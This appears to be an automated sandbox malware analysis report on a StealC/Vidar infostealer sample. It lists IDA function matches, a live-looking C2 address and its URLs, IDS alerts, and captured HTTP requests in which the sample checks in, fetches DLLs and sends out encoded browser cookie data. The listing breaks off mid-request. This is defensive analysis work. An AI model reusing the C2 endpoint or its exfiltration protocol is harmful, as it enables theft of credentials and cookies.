Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction ID: ae81405fb39a1e9092750637fc88ed10a7b0fe2e72f912b9bd23e2162f856e3d
Opcode Fuzzy Hash: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction Fuzzy Hash: 8111C435E0468997DB008F6ACC644EDB7B5EF86318F458229DD4997622EB30A688C398

Function 6C6B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C6B6E22
__Init_thread_footer.LIBCMT ref: 6C6B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C6B6E1D

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction ID: bcd68a56edc4a956bdd073aa2d8006e056c651a881adc380280f84d7f154e701
Opcode Fuzzy Hash: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction Fuzzy Hash: 2DF02E302492C08BDB008B69C8A1A9173B29303318F080165F80196FA2CB31F627CFAF

Function 6C666C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C42

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C58

Strings

0Kil, xrefs: 6C666C33, 6C666C41, 6C666C57

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kil
API String ID: 1967447596-1570486273
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 47a2848e409718a8f1d8a2683fe2594ab049f9b896a105d641ef50186a662689
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: F4E086F1A10D455B9F08D97FAC0956A71C88B553AC7044A35E823C6FC8FAB4E550815F

Function 6C6AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB628

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C6AB127,?,?,?,?,?,?,?,?), ref: 6C6AB74D

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction ID: 085effcad87eddf0045659a872f45dad84b52f8dd6c581acd935d8d6010fba1a
Opcode Fuzzy Hash: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction Fuzzy Hash: 2251D071A0121A8FDB14CF98C98076EB7B1FF85308F55852DC85AAB710D771EC06CBA9

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php3	URL Reputation: Label: malware

Source: 0.2.file.exe.5e0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.5e0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005E9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_005E9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005EC820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_005EC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005E7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_005E7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005E9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_005E9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005F8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_005F8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C666C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECGIEBAEBFIIECBGCBGHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 43 47 49 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 44 43 37 31 39 41 34 31 30 42 42 38 38 33 38 38 34 31 37 39 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 47 49 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 47 49 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 2d 2d 0d 0a Data Ascii: ------IECGIEBAEBFIIECBGCBGContent-Disposition: form-data; name="hwid"FDC719A410BB883884179------IECGIEBAEBFIIECBGCBGContent-Disposition: form-data; name="build"doma------IECGIEBAEBFIIECBGCBG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBKKFBAEGDHJJJJKFBKHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 34 63 34 36 38 36 64 66 35 34 35 32 36 66 65 35 30 65 34 35 30 36 36 37 30 35 32 61 61 34 65 61 30 62 66 33 35 62 62 66 30 61 61 36 33 31 35 33 66 34 63 63 30 35 66 36 64 63 39 35 34 32 38 34 33 65 30 65 65 32 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 2d 2d 0d 0a Data Ascii: ------AFBKKFBAEGDHJJJJKFBKContent-Disposition: form-data; name="token"c34c4686df54526fe50e450667052aa4ea0bf35bbf0aa63153f4cc05f6dc9542843e0ee2------AFBKKFBAEGDHJJJJKFBKContent-Disposition: form-data; name="message"browsers------AFBKKFBAEGDHJJJJKFBK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKKEGDBFIIEBFHIEHCHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 34 63 34 36 38 36 64 66 35 34 35 32 36 66 65 35 30 65 34 35 30 36 36 37 30 35 32 61 61 34 65 61 30 62 66 33 35 62 62 66 30 61 61 36 33 31 35 33 66 34 63 63 30 35 66 36 64 63 39 35 34 32 38 34 33 65 30 65 65 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 2d 2d 0d 0a Data Ascii: ------JEBKKEGDBFIIEBFHIEHCContent-Disposition: form-data; name="token"c34c4686df54526fe50e450667052aa4ea0bf35bbf0aa63153f4cc05f6dc9542843e0ee2------JEBKKEGDBFIIEBFHIEHCContent-Disposition: form-data; name="message"plugins------JEBKKEGDBFIIEBFHIEHC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCGIJKJJKEBGHJKFIDGCHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 34 63 34 36 38 36 64 66 35 34 35 32 36 66 65 35 30 65 34 35 30 36 36 37 30 35 32 61 61 34 65 61 30 62 66 33 35 62 62 66 30 61 61 36 33 31 35 33 66 34 63 63 30 35 66 36 64 63 39 35 34 32 38 34 33 65 30 65 65 32 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 2d 2d 0d 0a Data Ascii: ------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="token"c34c4686df54526fe50e450667052aa4ea0bf35bbf0aa63153f4cc05f6dc9542843e0ee2------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="message"fplugins------FCGIJKJJKEBGHJKFIDGC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFBAFIDAECAKFHJDBAFHost: 185.215.113.37Content-Length: 7907Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCGIJKJJKEBGHJKFIDGCHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 34 63 34 36 38 36 64 66 35 34 35 32 36 66 65 35 30 65 34 35 30 36 36 37 30 35 32 61 61 34 65 61 30 62 66 33 35 62 62 66 30 61 61 36 33 31 35 33 66 34 63 63 30 35 66 36 64 63 39 35 34 32 38 34 33 65 30 65 65 32 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 2d 2d 0d 0a Data Ascii: ------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="token"c34c4686df54526fe50e450667052aa4ea0bf35bbf0aa63153f4cc05f6dc9542843e0ee2------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Y
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDBAFIECGHCBFIDGDAAHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 34 63 34 36 38 36 64 66 35 34 35 32 36 66 65 35 30 65 34 35 30 36 36 37 30 35 32 61 61 34 65 61 30 62 66 33 35 62 62 66 30 61 61 36 33 31 35 33 66 34 63 63 30 35 66 36 64 63 39 35 34 32 38 34 33 65 30 65 65 32 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 2d 2d 0d 0a Data Ascii: ------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="token"c34c4686df54526fe50e450667052aa4ea0bf35bbf0aa63153f4cc05f6dc9542843e0ee2------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="file"------HJDBAFIECGHCBFIDGDAA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKEGDGCGDAKEBFIJECGHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 34 63 34 36 38 36 64 66 35 34 35 32 36 66 65 35 30 65 34 35 30 36 36 37 30 35 32 61 61 34 65 61 30 62 66 33 35 62 62 66 30 61 61 36 33 31 35 33 66 34 63 63 30 35 66 36 64 63 39 35 34 32 38 34 33 65 30 65 65 32 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 47 2d 2d 0d 0a Data Ascii: ------AKKEGDGCGDAKEBFIJECGContent-Disposition: form-data; name="token"c34c4686df54526fe50e450667052aa4ea0bf35bbf0aa63153f4cc05f6dc9542843e0ee2------AKKEGDGCGDAKEBFIJECGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKKEGDGCGDAKEBFIJECGContent-Disposition: form-data; name="file"------AKKEGDGCGDAKEBFIJECG--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEBKJDAFHJDGDHJKKEGHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJJKECFCFBGDHIECAAFHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 34 63 34 36 38 36 64 66 35 34 35 32 36 66 65 35 30 65 34 35 30 36 36 37 30 35 32 61 61 34 65 61 30 62 66 33 35 62 62 66 30 61 61 36 33 31 35 33 66 34 63 63 30 35 66 36 64 63 39 35 34 32 38 34 33 65 30 65 65 32 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 2d 2d 0d 0a Data Ascii: ------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; 